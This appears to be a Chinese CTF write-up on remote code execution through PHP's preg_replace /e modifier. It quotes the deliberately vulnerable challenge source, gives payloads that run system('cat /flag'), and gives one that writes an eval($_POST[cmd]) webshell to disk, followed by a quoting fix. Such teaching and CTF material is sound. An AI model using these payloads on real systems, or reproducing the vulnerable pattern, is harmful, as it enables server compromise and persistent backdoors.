preg_replace代码执行

-

php正则表达式

/e模式

只用于preg_replace()函数
preg_replace( 搜索模式, 替换字符串, 搜索目标 );
e模式可以把 替换字符串 中的内容当成一个PHP表达式
https://blog.csdn.net/windqyoung/article/details/8635418?locationNum=9&fps=1
将搜索完的变量代入替换字符串,放入原来的位置

反向引用

对一个正则表达式或部分模式,两边添加圆括号,将导致相关匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。

即\1 表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
以此类推,\2表示第二个,\0表示整个表达式。在本题中对应着get的参数id。

preg_replace与远程代码执行漏洞

题目 buu zjctf 不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")', //strtolower所有字符转换为小写
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

观察到源码里有 getFlag 函数 执行cmd
即需要传入代码执行 把所有字符替换为函数执行结果
传入 ?.*=phpinfo()

  1. php中 对如传入的非法$_GET数组参数名,会将其转换成下划线 _*
    变为\S*=
  2. 利用/e模式下将第二参数作为php代码执行
  3. php双引号转译,单引号中的变量不会被处理
    需要通过{${}}构造特殊变量
    ?\S*=${getFlag()}&cmd=readfile(“/flag”)
    或者
    ?\S=${eval($_POST[cmd])} cmd=system(“cat /flag”);
1
2
3
4
5
6
7
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

利用该漏洞

传入参数使命令执行
如传入

1
?h=fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);

在/data/目录下生成一句话木马文件

修复

将源码中

1
2
3
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
改为
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']='\2';', implode($depr,$paths));

即双引号改为单引号防止解析